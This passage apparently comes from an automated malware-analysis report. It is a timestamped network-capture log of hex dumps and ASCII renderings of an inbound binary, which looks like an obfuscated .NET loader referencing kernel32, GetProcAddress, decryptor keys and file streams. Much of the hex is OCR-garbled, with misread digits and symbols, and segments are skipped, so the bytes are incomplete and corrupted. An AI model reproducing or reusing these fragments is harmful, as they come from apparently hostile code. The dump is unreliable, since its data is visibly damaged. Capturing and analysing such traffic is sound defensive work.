73 01 00 06 39 48 e6 ff ff 26 20 ee 00 00 00 38 3d e6 ff ff fe Oc 0e 00 20 1f 00 00 00 20 ce 00 00 00 20 44 00 00 00 59 9c
20 al 00 00 00 28 74 01 00 06 39 19 e6 ff ff 26 20 29 00 00 00 38 Oe €6 ff ff 11 Ob 17 58 13 Ob 20 ce 00 00 00 38 fe e5 ff ff
20 b0 00 00 00 20 38 00 00 00 59
Data Ascii: & 8 1Y) _8) e8 8Y +(s:& 8 (s:q& 8f e >X) (s9H& 8= DY (19& )8X 8 8Y

2022-01-14 03:59:13 UTC 46 IN Data Raw: 95 el ff ff 20 d5 00 00 00 20 47 00 00 00 59 fe Oe 29 00 20 0a 00 00 00 28 74 01 00 06 3a 77 el ff ff 26 20 Oc
00 00 00 38 6¢ el ff ff fe Oc 11 00 20 05 00 00 00 20 96 00 00 00 20 32 00 00 00 59 9c 20 79 01 00 00 38 4d el ff ff 20 28
00 00 00 20 04 00 00 00 59 fe Oe 28 00 20 aa 00 00 00 38 34 el ff ff fe Oc 11 00 20 Oc 00 00 00 fe Oc 28 00 9¢ 20 44 00 00
00 38 1c el ff ff 16 13 03 20 45 00 00 00 38 Of el ff ff 20 81 00 00 00 20 2b 00 00 00 59 fe Oe 28 00 20 82 00 00 00 28 73
01 00 06 3a f1 €O ff ff 26 20 Of 00 00 00 38 e6 €0 ff ff fe Oc 11 00 20 Oc 00 00 00 20 5b 00 00 00 20 14 00 00 00 58 9c 20
84 00 00 00 38 c7 €0 ff ff fe Oc Oe 00 20 1f 00 00 00 fe Oc 29 00 9¢ 20 73 01 00 00 38 af e0 ff ff 20 66 00 00 00 20 2d 00
00 00 59 fe Oe 29 00 20 8a 00 00 00 28
Data Ascii: GY) (tw& 8l 2Y y8M (Y(84 (D8 E8 +Y((s:&8 [X8)s8f-Y)(

2022-01-14 03:59:13 UTC 47 IN Data Raw: 00 59 9c 20 33 01 00 00 38 33 dc ff ff 20 19 00 00 00 20 5b 00 00 00 58 fe Oe 29 00 20 5 01 00 00 38 1a dc ff
ff 11 1c 11 1f 11 07 20 ff 00 00 00 5f d2 9c 20 4a 01 00 00 38 02 dc ff ff 11 21 73 21 00 00 Oa 16 73 ca 00 00 Oa 13 15 20
2f 00 00 00 38 €9 db ff ff fe Oc Oe 00 20 08 00 00 00 fe Oc 29 00 9c 20 bc 00 00 00 38 d1 db ff ff fe Oc Oe 00 20 Ob 00 00 00
fe Oc 29 00 9c 20 9f 00 00 00 28 74 01 00 06 39 b4 db ff ff 26 20 Oc 00 00 00 38 a9 db ff ff 20 01 00 00 00 13 Oa 20 4d 00
00 00 fe Oe 20 00 38 90 db ff ff fe Oc Oe 00 20 1a 00 00 00 20 02 00 00 00 20 66 00 00 00 58 9c 20 3¢ 00 00 00 38 75 db ff
ff 20 93 00 00 00 20 31 00 00 00 59 fe Oe 29 00 20 57 00 00 00 28 73 01 00 06 3a 57 db ff ff 26 20 32 00 00 00 38 4c db ff
ff fe Oc Oe 00 20 0d 00 00 00 fe Oc
Data Ascii: Y 383 [X) "8 _J8Isls /8)8) (t9& 8 M8 fX <8u 1Y) W(s:W& 28L

2022-01-14 03:59:13 UTC 48 IN Data Raw: 28 73 01 00 06 3a dd d6 ff ff 26 20 24 00 00 00 38 d2 d6 ff ff 20 7b 00 00 00 20 7b 00 00 00 59 fe Oe 29 00 20
6a 00 00 00 fe Oe 20 00 38 b1 d6 ff ff fe Oc 11 00 20 Oe 00 00 00 20 d7 00 00 00 20 47 00 00 00 59 9c 20 86 00 00 00 38
96 d6 ff ff fe Oc Oe 00 20 18 00 00 00 fe Oc 29 00 9c 20 3b 01 00 00 28 74 01 00 06 39 79 d6 ff ff 26 20 4e 00 00 00 38 6e
dé ff ff fe Oc Oe 00 20 15 00 00 00 20 be 00 00 00 20 3f 00 00 00 59 9c 20 82 00 00 00 28 73 01 00 06 39 4a d6 ff ff 26 20
ac 00 00 00 38 3f d6 ff ff 20 80 00 00 00 20 73 00 00 00 58 fe Oe 29 00 20 7d 00 00 00 38 26 d6 ff ff 11 25 28 6f 01 00 06
28 6¢ 01 00 06 80 77 00 00 04 20 €9 00 00 00 38 Ob d6 ff ff 38 bf de ff ff 20 95 00 00 00 38 fc d5 ff ff fe Oc Oe 00 20 1b 00
00 00 20 8d 00 00 00 20 2f 00 00 00 59
Data Ascii: (5:& $8 {{Y)j8 GY 8);(t9y& N8n ?Y (s9J& 8? sX) }8&%(o(lw 888 /Y

2022-01-14 03:59:13 UTC 50 IN Data Raw: Oe 01 00 00 38 85 d1 ff ff 17 80 78 00 00 04 20 a7 00 00 00 38 75 d1 ff ff fe Oc Oe 00 20 01 00 00 00 fe Oc 29 00
9c 20 73 00 00 00 28 73 01 00 06 3a 58 d1 ff ff 26 20 2e 00 00 00 38 4d d1 ff ff fe Oc Oe 00 20 03 00 00 00 fe Oc 29 00 9c
20 b3 00 00 00 fe Oe 20 00 38 2d d1 ff ff 20 49 00 00 00 20 Oa 00 00 00 58 fe Oe 29 00 20 6e 00 00 00 28 74 01 00 06 39
13 d1 ff ff 26 20 Ob 00 00 00 38 08 d1 ff ff 11 2a 11 03 58 13 2a 20 19 01 00 00 28 73 01 00 06 3a f2 dO ff ff 26 20 88 00 00
00 38 e7 dO ff ff d0 29 00 00 02 28 66 01 00 06 6f 24 00 00 Oa 72 13 12 00 70 28 67 01 00 06 73 39 01 00 06 13 13 20 1c
01 00 00 28 73 01 00 06 3a b8 dO ff ff 26 20 36 00 00 00 38 ad do ff ff fe Oc 11 00 20 04 00 00 00 fe Oc 28 00 9c 20 71 01
00 00 fe Oe 20 00 38 8d dO ff ff 20 b1
Data Ascii: 8x 8u ) S(s:X& .8M ) 8- | X) n(t9& 8*X* (s:& 8)(fo$rp(gs9 (s:& 68 (q 8

2022-01-14 03:59:13 UTC 51 IN Data Raw: 20 d4 00 00 00 20 46 00 00 00 59 9¢ 20 33 00 00 00 fe Oe 20 00 38 17 cc ff ff fe Oc 11 00 20 Oe 00 00 00 fe Oc
28 00 9¢ 20 6b 01 00 00 28 74 01 00 06 39 fe cb ff ff 26 20 3d 00 00 00 38 f3 cb ff ff fe Oc 11 00 20 00 00 00 00 20 9f 00 00
00 20 35 00 00 00 59 9¢ 20 1d 00 00 00 28 73 01 00 06 39 cf cb ff ff 26 20 a9 00 00 00 38 ¢4 cb ff ff 20 €7 00 00 00 20 4d
00 00 00 59 fe Oe 28 00 20 5d 00 00 00 28 73 01 00 06 3a a6 cb ff ff 26 20 0a 00 00 00 38 9b cb ff ff 11 05 16 3e c8 d5 ff ff
20 87 00 00 00 38 89 cb ff ff 20 9d 00 00 00 20 34 00 00 00 59 fe Oe 28 00 20 72 00 00 00 28 73 01 00 06 39 6b cb ff ff 26
20 fc 00 00 00 38 60 cb ff ff 20 5 00 00 00 20 2f 00 00 00 58 fe Oe 29 00 20 20 00 00 00 38 47 cb ff ff fe Oc Oe 00 20 08 00
00 00 20 9¢ 00 00 00 20 34 00
Data Ascii: FY 38 (K(19& =8 5Y (s9& 8 MY(](s:& 8> 8 4Y(r(s9k& 8" ~/X) 8G 4

2022-01-14 03:59:13 UTC 52 IN Data Raw: 00 Oa 6f d3 00 00 Oa 28 5e 01 00 06 2a 00 5e 7e 79 00 00 04 3a Oc 00 00 00 17 80 79 00 00 04 73 63 01 00 06
26 2a 7a 16 8d 08 00 00 01 80 76 00 00 04 14 80 77 00 00 04 16 80 78 00 00 04 16 80 79 00 00 04 2a 00 2e 00 fe 09 00
00 28 23 00 00 Oa 2a 3a fe 09 00 00 fe 09 01 00 6f 3b 00 00 Oa 2a 00 2a fe 09 00 00 6f 3a 01 00 06 2a 00 3a fe 09 00 00 fe
09 01 00 6f 37 00 00 Oa 2a 00 2a fe 09 00 00 6f 3d 00 00 Oa 2a 00 3a fe 09 00 00 fe 09 01 00 6f 3b 01 00 06 2a 00 2e 00 fe
09 00 00 28 7d 01 00 06 2a 3a fe 09 00 00 fe 09 01 00 6f d4 00 00 Oa 2a 00 2a fe 09 00 00 6f 85 00 00 Oa 2a 00 2a fe 09
00 00 6f 86 00 00 Oa 2a 00 2a fe 09 00 00 6f d5 00 00 Oa 2a 00 3e 00 fe 09 00 00 fe 09 01 00 28 7e 01 00 06 2a 2a fe 09
00 00 6f cd 00 00 Oa 2a 00 16 14 14 fe 01 2a 00 00 Oa
Data Ascii: 0("/~y:ySC&*ZVWXY*.(#*:0;**0:*:07**0=*.0;*.(}*:0**0**0**0*>(~**0**

2022-01-14 03:59:13 UTC 54 IN Data Raw: 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30
03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00
00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00 00 00 13 30 03 00 04 00 00 00
00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14
2a 13 30 04 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 12 00 00 14 2a 00
00 00 12 00 00 17 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 02 00 04 00 00 00 00 00 00 00 00
00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00
Data Ascii: *0*0*0*0*0*0**0*0*0*0*0***0*0*0*0

2022-01-14 03:59:13 UTC 58 IN Data Raw: 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00
14 2a00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00 00 2a 00 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00
00 00 2a 00 00 00 22 00 14 a5 13 00 00 01 2a 00 00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a
00 00 00 12 00 00 17 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 17 2a 03 30 03 00 04 00 00 00 00 00 00 00
0000 17 2a 12 00 00 17 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 a9 00 00 06 2a 00 12 00 00
00 2a 00 00 00 22 00 14 a5 13 00 00 01 2a 00 00 00 03 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 12 00 00 00 2a 00
00 00 12 00 00 00 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 14 2a 00 00
Data Ascii: (**0 {00 isiotl Clil O il

2022-01-14 03:59:13 UTC 62 IN Data Raw: 00 00 00 3a Oe 03 Oe 00 Oe 01 Oe 02 6f 33 05 00 06 2a 00 42 28 a9 00 00 06 d0 93 00 00 02 28 a0 00 00 06 2a
00 00 00 2a Oe 01 Oe 00 6f 37 05 00 06 2a 00 42 28 a9 00 00 06 d0 94 00 00 02 28 a0 00 00 06 2a 00 00 00 2a Oe 01 Oe
00 6f 3b 05 00 06 2a 00 42 28 a9 00 00 06 d0 95 00 00 02 28 a0 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 3f 05 00 06
2a 00 00 00 42 28 a9 00 00 06 dO 96 00 00 02 28 a0 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f 43 05 00 06 2a 00 42 28 a9
00 00 06 d0 97 00 00 02 28 a0 00 00 06 2a 00 00 00 2a Oe 01 Oe 00 6f 47 05 00 06 2a 00 42 28 a9 00 00 06 d0 98 00 00 O
2 28 a0 00 00 06 2a 00 00 00 32 Oe 02 Oe 00 Oe 01 6f 4b 05 00 06 2a 00 00 00 42 28 a9 00 00 06 dO 99 00 00 02 28 a0 00
00 06 2a 00 00 00 2a Oe 01 Oe 00 6f 4f 05 00 06 2a 00 42 28 a9 00
Data Ascii: :03*B((**07*B((**0;*B((*20?*B((**0C*B((**0G*B((*20K*B((**0O*B(
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Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 66 IN Data Raw: 00 00 2d 00 1b 00 63 00 02 01 00 00 e8 04 00 00 2d 00 1b 00 68 00 02 01 00 00 3c 05 00 00 2d 00 1b 00 6d 00
02 01 00 00 a7 05 00 00 2d 00 1b 00 72 00 02 01 00 00 ba 05 00 00 2d 00 1b 00 77 00 11 01 00 00 fO 05 00 00 31 00 1b
00 7c 00 11 01 00 00 28 06 00 00 31 00 1e 00 7c 00 11 01 00 00 72 06 00 00 31 00 20 00 7c 00 11 01 00 00 ac 06 00 00
310021 00 7c 00 11 01 00 00 dc 06 00 00 31 00 24 00 7c 00 11 01 00 00 Ob 07 00 00 31 00 29 00 7c 00 09 01 00 00 48 O
70000 3100 2c 00 7c 00 09 01 01 00 7d 07 00 00 31 00 30 00 7c 00 01 01 00 00 8f 07 00 00 29 00 42 00 7c 00 00 01 00
00 d6 07 00 00 29 00 44 00 82 00 13 01 00 00 f5 07 00 00 31 00 45 00 83 00 00 00 00 00 16 08 00 00 29 00 45 00 83 00
00 00 00 00 45 08 58 08 29 00 45 00 84 00 05 01 00 00 6b 08 00 00 2d
Data Ascii: -c-h<-m-r-w1|(1|r1 |1!|1$|1)|H1,]}10])B|)D1E)EEX)Ek-

2022-01-14 03:59:13 UTC 70 IN Data Raw: 15 01 00 c1 57 €3 15 11 00 cc 57 51 12 06 06 69 3¢ 75 05 36 00 f6 3f 70 Oe 16 00 ec 3f 66 Oe 11 00 5c 58 ec
01330198 5804 16 33 01 d9 58 09 16 33 01 1a 59 Oe 16 33 01 5b 59 €9 01 33 01 9c 59 13 16 33 01 dd 59 18 16 33 01
le 5a09 16 33 01 5f 5a 1d 16 33 01 a0 5a 22 16 13 00 el 5a 75 05 13 00 04 5b 75 05 13 00 27 5b 75 05 13 00 4a 5b 75
05 13 00 6d 5b 75 05 13 00 90 5b 75 05 13 00 b3 5b 75 05 13 00 d6 5b 75 05 13 00 f9 5b 75 05 13 00 1c 5¢ 75 05 13 00 3f
5¢ 75 05 13 00 62 5¢ 75 05 13 00 85 5¢ 75 05 13 00 a8 5¢ 75 05 13 00 cb 5¢ 75 05 13 00 ee 5¢ 75 05 13 00 11 5d 75 05 1
30034 5d 7505 13 00 57 5d 75 05 13 00 7a 5d 75 05 13 00 9d 5d 75 05 13 00 c0 5d 75 05 13 00 e3 5d 75 05 13 00 06
5e 75 05 13 00 29 5e 75 05 13 00 4c 5e 75 05 13 00 6f 5e 75 05 13 00
Data Ascii: WWQi<u6?p?f\X3X3X3Y3[Y3Y3Y323_Z3Z"Zu[u'[uJ[um[u[u[u[u[ul\u?\ub\u\u\u\u\u]u4]uW]uz]u]u]u]u*u)*uL uo™u

2022-01-14 03:59:13 UTC 74 IN Data Raw: 00 00 08 00 93 00 2a 31 51 0a 1b 01 b8 a9 00 00 08 00 93 00 49 31 63 08 1b 01 c8 a9 00 00 08 00 93 00 5d 31
69 08 1b 01 d8 a9 00 00 08 00 93 00 71 31 82 08 1b 01 ec a9 00 00 08 00 93 00 85 31 89 08 1b 01 00 aa 00 00 08 00 93
00 99 31 57 0a 1b 01 14 aa 00 00 08 00 93 00 b8 31 74 08 1b 01 20 aa 00 00 08 00 93 00 cc 31 5e Oa 1b 01 38 aa 00 00
08 00 93 00 €0 31 37 01 1b 01 40 aa 00 00 08 00 93 00 f4 31 66 Oa 1b 01 48 aa 00 00 08 00 93 00 1a 32 75 09 1b 01 54 a
a 00 00 08 00 93 00 3d 32 76 Oa 1b 01 60 aa 00 00 08 00 93 00 61 32 7b 0a 1b 01 74 aa 00 00 08 00 93 00 75 32 d6 09
1d 01 84 aa 00 00 08 00 93 00 97 32 37 01 1d 01 8c aa 00 00 08 00 93 00 ab 32 5f 08 1d 01 94 aa 00 00 08 00 93 00 bf
32 82 0a 1d 01 a4 aa 00 00 08 00 93 00 d3 32 92 Oa 1d 01 b4 aa 00 00 08
Data Ascii: *1QI1c]1iq111W1t 1/817@1fH2uT=2v a2{tu2272_22

2022-01-14 03:59:13 UTC 78 IN Data Raw: 00 08 00 93 00 4e 45 c8 0a eb 01 00 fO 00 00 08 00 93 00 62 45 a8 Oa eb 01 08 f0 00 00 08 00 93 00 76 45 a8
Oa eb 01 10 fO 00 00 00 00 91 18 Of 17 37 01 eb 01 18 fO 00 00 08 00 c3 02 f3 40 fe Oe eb 01 20 fO 00 00 08 00 c3 02 fe 40
fe Oe ec 01 28 f0 00 00 08 00 86 18 54 00 09 07 ed 01 30 fO 00 00 08 00 86 18 54 00 ac Of ee 01 40 f0 00 00 08 00 c6 00
09 41 11 Of ef 01 48 f0 00 00 08 00 86 18 54 00 b3 0f ef 01 50 fO 00 00 08 00 86 18 54 00 bb 0f f1 01 58 f0 00 00 08 00 86
18 54 00 c0 0Of f2 01 60 fO 00 00 08 00 c6 00 14 41 7e 01 f4 01 68 fO 00 00 08 00 c6 00 1f 41 7e 01 f4 01 70 fO 00 00 08 00
€6 00 2a 41 32 0f f4 01 80 fO 00 00 08 00 c3 02 35 41 41 0f f5 01 90 f0 00 00 08 00 83 00 Oc 46 41 0f f6 01 a0 fO 00 00 08
00 c6 00 4b 41 56 Of f7 01 a8 f0 00 00 08 00
Data Ascii: NEbEVE7@ @(TOT@AHTPTXT A~hA~p*A25AAFAKAV

2022-01-14 03:59:13 UTC 82 IN Data Raw: 08 00 c3 02 ee 48 7e 01 65 02 14 fa 00 00 08 00 84 18 54 00 d7 00 65 02 1c fa 00 00 08 00 93 00 f9 48 45 01
65 02 24 fa 00 00 08 00 93 00 0d 49 Oa 10 65 02 2c fa 00 00 00 00 91 18 0f 17 37 01 65 02 34 fa 00 00 08 00 c3 02 f3 40
fe 0e 65 02 3c fa 00 00 08 00 c3 02 fe 40 fe Oe 66 02 44 fa 00 00 08 00 86 18 54 00 18 10 67 02 4c fa 00 00 08 00 86 18
54 00 1d 10 68 02 5c fa 00 00 08 00 c6 00 09 41 11 Of 69 02 64 fa 00 00 08 00 86 18 54 00 24 10 69 02 6¢ fa 00 00 08 00
86 18 54 00 2c 10 6b 02 74 fa 00 00 08 00 86 18 54 00 31 10 6¢ 02 7c fa 00 00 08 00 c6 00 14 41 7e 01 6e 02 84 fa 00 00
08 00 c6 00 1f 41 7e 01 6e 02 8c fa 00 00 08 00 c6 00 f1 2e 08 02 6e 02 94 fa 00 00 08 00 c6 00 2a 41 32 Of 6e 02 a4 fa 0C
00 08 00 c3 02 35 41 41 0f 6f 02 b4 fa 00 00 08 00 c6
Data Ascii: H~eTeHEe$le,7e4@e<@fDTgLTh\AITSIIT, ktT1l|A~nA~n.n*A2n5AA0

2022-01-14 03:59:13 UTC 86 IN Data Raw: 00 93 00 cd 55 ¢3 Oa 13 03 2¢c 07 01 00 08 00 91 18 0Of 17 37 01 13 03 4c 07 01 00 08 00 86 18 54 00 d7 00 13
0354 07 01 00 08 00 83 00 ff 55 79 Oe 13 03 5¢ 07 01 00 08 00 93 00 Oe 56 45 01 15 03 64 07 01 00 08 00 93 00 22 56 6f
1515 03 6¢ 07 01 00 08 00 93 00 36 56 37 01 15 03 74 07 01 00 08 00 86 18 54 00 d7 00 15 03 7c 07 01 00 08 00 83 00
69 56 7e 01 15 03 84 07 01 00 08 00 83 00 74 56 7e 01 15 03 8c 07 01 00 08 00 83 00 7f 56 7e 01 15 03 94 07 01 00 08
00 83 00 8a 56 7e 01 15 03 9c 07 01 00 08 00 83 00 95 56 7e 01 15 03 a4 07 01 00 08 00 83 00 a0 56 7e 01 15 03 ac 07
01 00 08 00 c3 03 c9 4a 7e 01 15 03 b4 07 01 00 08 00 c3 03 3e 47 7e 01 15 03 00 00 00 00 00 00 c3 07 fe 40 fe Oe 15 03
bc 07 01 00 08 00 c3 03 ee 48 7e 01 16 03 c4 07 01 00 08 00 83 18
Data Ascii: U,7LTTUY\VEd"VoI6V7tT|iV~tV~V~V~V~V~]~>G~@H~

2022-01-14 03:59:13 UTC 90 IN Data Raw: 06 18 54 00 65 01 31 03 ac 11 01 00 08 00 10 18 Of 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 22 1b 31 03
€0 11 01 00 08 00 16 00 f5 68 2a 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 d0 11 01 00 08 00 10 18 Of 17 37
01 3103 00 00 00 00 03 00 46 00 24 18 3a 1b 31 03 e4 11 01 00 08 00 16 00 f5 68 42 1b 31 03 00 00 00 00 03 00 06 18
5400 65 01 31 03 f4 11 01 00 08 00 10 18 Of 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 52 1b 31 03 08 12 01 00 08 O
016 00 f5 68 5a 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 18 12 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00
00 03 00 46 00 24 18 6a 1b 31 03 2¢ 12 01 00 08 00 16 00 f5 68 72 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03
3¢ 1201 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24
Data Ascii: Tel71F$"1h*1Tel71F$:1hB1Tel71F$R1hZ1Tel71F$j1,hriTel<71F$

2022-01-14 03:59:13 UTC 95 IN Data Raw: 00 03 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29
00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03
00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29
00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 20 04 00 dd 29 00 00 05 00 dd 29 00 00 06 00 dd 29 00 00 01
00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29
00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01
00 dd 29 00 00 02 00 dd 29 03 00 03 00 dd 29 00 00 04 00 dd 29 02 00 05 00
Data Ascii: ))))NMNNNM MNMIMMNN)

2022-01-14 03:59:13 UTC 98 IN Data Raw: dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 10 10 03 00 dd 29 00 00 01 00 dd 29 00 00 01
00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29
00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03
00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29
00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 02
00 dd 29 00 00 01 00 dd 29 00 00 01 00 0a 56 00 00 02 00 Oc 56 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29
00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00
Data Ascii: )))NMMMNMMNMIN)VVIN))

2022-01-14 03:59:13 UTC 102 IN Data Raw: 00 10 00 Oe 00 11 00 Oe 00 12 00 Oe 00 13 00 Oe 00 14 00 Oe 00 15 00 Oe 00 16 00 Oe 00 17 00 Oe 00 18 00
0e 00 19 00 Oe 00 1a 00 Oe 00 25 00 24 00 28 00 27 00 2a 00 29 00 2b 00 29 00 2¢ 00 2b 00 2d 00 29 00 2e 00 29 00 2f
00 29 00 30 00 29 00 31 00 29 00 32 00 29 00 33 00 29 00 34 00 29 00 35 00 29 00 36 00 29 00 37 00 29 00 38 00 29 00
3b 00 3a 00 3¢ 00 3a 00 3e 00 3d 00 3f 00 3d 00 40 00 3d 00 41 00 3d 00 42 00 3d 00 43 00 3d 00 44 00 3d 00 45 00 3d
00 46 00 3d 00 47 00 3d 00 48 00 3d 00 49 00 3d 00 4a 00 3d 00 4b 00 3d 00 4c 00 3d 00 4d 00 3d 00 4e 00 3d 00 4f 00
3d 00 50 00 3d 00 51 00 3d 00 52 00 3d 00 53 00 3d 00 54 00 3d 00 55 00 3d 00 56 00 3d 00 57 00 3d 00 58 00 3d 00 59
00 3d 00 5a 00 3d 00 5b 00 3d 00 5¢ 00 5b 00 5d 00 3d 00 5e 00 3d 00 5f 00
Data Ascii: %$(*)+),+-).)/)0)1)2)3)4)5)6)7)8);:<:>=?=@=A=B=C=D=E=F=G=H=|=J=K=L=M=N=0=P=Q=R=S=T=U=V=
W=X=Y=Z=[=\[=A=_
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Timestamp transferred Direction Data

2022-01-14 03:59:13 UTC 106 IN Data Raw: 58 49 46 6a 6f 41 72 55 4b 73 00 59 75 62 65 6e 39 71 51 4f 79 43 49 39 4d 35 64 66 31 00 63 62 69 4b 53 31
66 4e 64 4c 59 32 33 61 32 30 64 62 00 6a 36 68 69 66 5a 64 43 4c 35 4e 6¢ 41 38 50 79 76 63 00 4f 74 39 42 74 50 62
4d 4a5a 69 72 6b 30 49 79 6b 77 00 43 78 30 58 58 68 6d 45 47 38 44 38 69 56 54 43 37 75 00 6a 4f 61 69 51 42 53 4c
6b 4c 55 55 52 6f 62 6a 55 64 00 41 75 39 31 67 39 4d 43 4b 44 62 47 43 6f 78 47 34 47 00 42 4a 53 50 75 79 39 6e 67 53
53 45 44 70 59 70 33 55 00 77 39 78 75 6¢ 5a 33 58 39 64 77 66 59 37 34 73 44 49 00 54 43 42 46 75 55 54 70 48 66 54
44 5a 78 54 78 49 4b 00 6f 79 4a 70 59 47 32 77 63 53 51 4e 61 78 43 6¢ 4e 54 00 74 48 30 45 64 75 65 31 6a 38 4a 76
46 31 4f 31 4d 33 00 76 57 30 63 62 79 42 48 75 67 41 5a 46 69 65 38
Data Ascii: XIFjoArUKsYuben9qQOyCI9M5df1chiKS1fNdLY23a20dbj6hifZdCL5NIA8PYvcOt9BtPbMJZirkOlykwCx0XXh
MEG8D8iVTC7ujOaiQBSLKLUUR0bjUdAU91g9MCKDbGCoxGAGBJISPuy9ngSSEDpYp3UwIxulZ3X9dwfY74sDITCBFuU
TpHfTDZXTxIKoyJpYG2wcSQNaxCINTtHOEduel1j8JvF101M3vWO0cbyBHUgAZFie8

2022-01-14 03:59:13 UTC 110 IN Data Raw: 00 46 72 65 65 4c 69 62 72 61 72 79 00 68 4d 6f 64 75 6¢ 65 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00
7072 6f 63 4e 61 6d 65 00 6b 65 72 6e 65 6¢ 33 32 00 72 6f 74 69 64 45 74 6e 65 6e 6f 70 6d 6f 43 6¢ 65 64 6f 4d 74 6e
65 6e 6f 70 6d 6f 43 6d 65 74 73 79 53 31 30 30 32 37 00 58 57 33 56 74 6f 67 48 71 48 65 6b 6b 64 58 35 6f 6f 33 00 61
72 67 00 74 6e 65 6d 65 6¢ 45 6e 6f 69 73 73 65 53 65 6¢ 62 61 69 6¢ 65 52 6€ 6f 69 74 61 72 75 67 69 66 6e 6f 43 6¢ 65
64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 36 38 31 38 31 00 65 63 69 76 72 65 53 72 65 65 50 73 6¢C 65 6e 6e 61
68 43 6¢ 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 34 33 34 35 37 00 72 6f 72 72 45 65 6¢ 69 70 6d 6f 43 79 72
65 7551 72 65 68 63 74 61 70 73 69 44 6¢ 65 64 6f 4d 65 63
Data Ascii: FreeLibraryhModuleGetProcAddressprocNamekernel32rotidEtnenopmoCledoMtnenopmoCmetsyS10027
XW3VtogHgHekkdX5003argtnemelEnoisseSelbaileRnoitarugifnoCledoMecivreSmetsyS68181ecivreSreePslennahCl
edoMecivreSmetsyS43457rorrEelipmoCyreuQrehctapsiDledoMec

2022-01-14 03:59:13 UTC 114 IN Data Raw: 46 00 46 69 6c 65 53 74 72 65 61 6d 00 46 69 6¢ 65 4d 6f 64 65 00 46 69 6¢ 65 41 63 63 65 73 73 00 46 69 6C
6553 68 61 72 65 00 6¢ 6b 70 36 39 71 5a 47 63 00 4e 69 58 54 41 32 48 58 37 00 54 6f 41 72 72 61 79 00 73 31 46 65
43 49 54 44 67 00 73 65 74 5f 4b 65 79 00 73 65 74 5f 49 56 00 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 57 72 69
74 6500 7a 6¢ 58 58 6f 63 43 6¢ 69 00 67 65 74 5f 4f 66 66 73 65 74 54 6f 53 74 72 69 6e 67 44 61 74 61 00 77 4e 31 63
64 5279 54 53 00 53 74 61 72 74 73 57 69 74 68 00 67 65 74 5f 43 68 61 72 73 00 4d 71 55 4b 55 67 6a 62 45 00 72 74
36 73 58 58 68 65 31 00 61 44 4b 71 78 59 71 5a 6f 00 4b 34 79 78 4c 4a 72 74 4b 00 75 76 4b 79 64 42 6a 76 34 00 75 3
354 47 46 51 42 65 78 00 6d 66 76 42 64 70 68 58 79 00 76 53 33
Data Ascii: FFileStreamFileModeFileAccessFileSharelkp69gZGcNiXTA2HX7ToArrays1FeCITDgset_Keyset_IVCre
